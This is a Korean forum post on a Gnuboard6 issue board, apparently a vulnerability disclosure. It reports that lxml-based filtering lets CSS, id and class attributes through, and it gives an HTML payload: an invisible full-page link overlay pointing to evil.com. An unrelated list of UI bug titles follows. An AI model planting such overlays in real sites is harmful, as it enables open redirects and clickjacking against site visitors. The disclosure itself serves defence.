CSS, ID, CLASS misconfigure로 인한 취약점

mingijunggrape

· 6개월 전 · 조회 205 205

링크

https://github.com/gnuboard/g6/issues/643 (12)

lxml은 css 및 id, class 부분을 필터링 하지 않기 때문에 이를 조합하면 Open redirect, 광고 사이트 popup 등의 취약점이 발생될 수 있습니다.

영상에서 사용한 페이로드 입니다.

`<a href="https://evil.com" class="win_password_lost"
style="position:absolute; top:0; left:0; width:100%; height:100%; opacity:0.001; z-index:9999;">
Click me
</a>
`

https://github.com/user-attachments/assets/8b5f5ac9-d4b9-48e8-89e5-8077204f901f

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

게시판 목록

그누보드6 이슈

좋은 댓글과 좋아요는 제작자에게 큰힘이 됩니다.

글쓰기

번호	제목	글쓴이	날짜	조회
34	태블릿 내 회원 정보 수정 내 비밀번호 필드의 디자인이 비정상적인 오류	seiblog-nandsoft 이 비회원 글보기	1년 전	156
33	모바일에서 스크랩이 표기되지 않는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	140
32	모바일에서 네비 클릭시 이름 최고관리자님으로 고정 되어있는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	207
31	모바일에서 검색창 클릭 시 인기 검색어가 노출되는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	235
30	모바일에서 검색 결과 화면이 디자인이 깨지는 오류	seiblog-nandsoft 이 비회원 글보기	1년 전	153
29	모바일에서 반응형이 아닌 적응형으로 적용 되는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	190
28	자주하는 질문 내 타이 랜더링이 2번 되어 텍스트가 비정상적인 위치에 있는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	205
27	다크 모드 상태에서 임시 저장한 글 지정 되지 않는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	134
26	검색 시 데이터가 없을 때 텍스트가 나오지 않는 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	153
25	다크모드 검색 창이 비정상적으로 적용되던 이슈	seiblog-nandsoft 이 비회원 글보기	1년 전	168
24	답글 작성 시 글쓰기로 텍스트가 보임	seiblog-nandsoft 이 비회원 글보기	1년 전	235
23	내 글에 누군가 비밀 댓글 작성 시 작성자가 확인 할 수 없는 버그	seiblog-nandsoft 이 비회원 글보기	1년 전	227
22	에디터로 이미지 업로드 시 썸네일 노출 안됨	seiblog-nandsoft 이 비회원 글보기	1년 전	205
21	스크랩이 없다면 없다고 안내가 되는게 좋을 것 같습니다.	seiblog-nandsoft 이 비회원 글보기	1년 전	203
20	쪽지 발송 시 500에러 발생	seiblog-nandsoft 이 비회원 글보기	1년 전	166
19	버그 5개 제보 [1]	seiblog-nandsoft 이 비회원 글보기	1년 전	280
18	그누보드5 DB에서 그누보드6을 사용하려면?	kagla 이 비회원 글보기	1년 전	238
17	플러그인 상세보기에서 시인성이 떨어집니다.	kagla 이 비회원 글보기	1년 전	202
16	starlette 버전업에 따른 템플릿 함수파라미터 변경사항	kitrio 이 비회원 글보기	1년 전	168
15	화면 하단 사이트 정보 삭제 및 다크모드, 위로 가기 화살표 위치 변경	kagla 이 비회원 글보기	1년 전	224

태블릿 내 회원 정보 수정 내 비밀번호 필드의 디자인이 비정상적인 오류

seiblog-nandsoft

CSS, ID, CLASS misconfigure로 인한 취약점

링크

댓글 작성

게시판 목록

그누보드6 이슈

태블릿 내 회원 정보 수정 내 비밀번호 필드의 디자인이 비정상적인 오류

모바일에서 스크랩이 표기되지 않는 이슈

모바일에서 네비 클릭시 이름 최고관리자님으로 고정 되어있는 이슈

모바일에서 검색창 클릭 시 인기 검색어가 노출되는 이슈

모바일에서 검색 결과 화면이 디자인이 깨지는 오류

모바일에서 반응형이 아닌 적응형으로 적용 되는 이슈

자주하는 질문 내 타이 랜더링이 2번 되어 텍스트가 비정상적인 위치에 있는 이슈

다크 모드 상태에서 임시 저장한 글 지정 되지 않는 이슈

검색 시 데이터가 없을 때 텍스트가 나오지 않는 이슈

다크모드 검색 창이 비정상적으로 적용되던 이슈

답글 작성 시 글쓰기로 텍스트가 보임

내 글에 누군가 비밀 댓글 작성 시 작성자가 확인 할 수 없는 버그

에디터로 이미지 업로드 시 썸네일 노출 안됨

스크랩이 없다면 없다고 안내가 되는게 좋을 것 같습니다.

쪽지 발송 시 500에러 발생

버그 5개 제보 [1]

그누보드5 DB에서 그누보드6을 사용하려면?

플러그인 상세보기에서 시인성이 떨어집니다.

starlette 버전업에 따른 템플릿 함수파라미터 변경사항

화면 하단 사이트 정보 삭제 및 다크모드, 위로 가기 화살표 위치 변경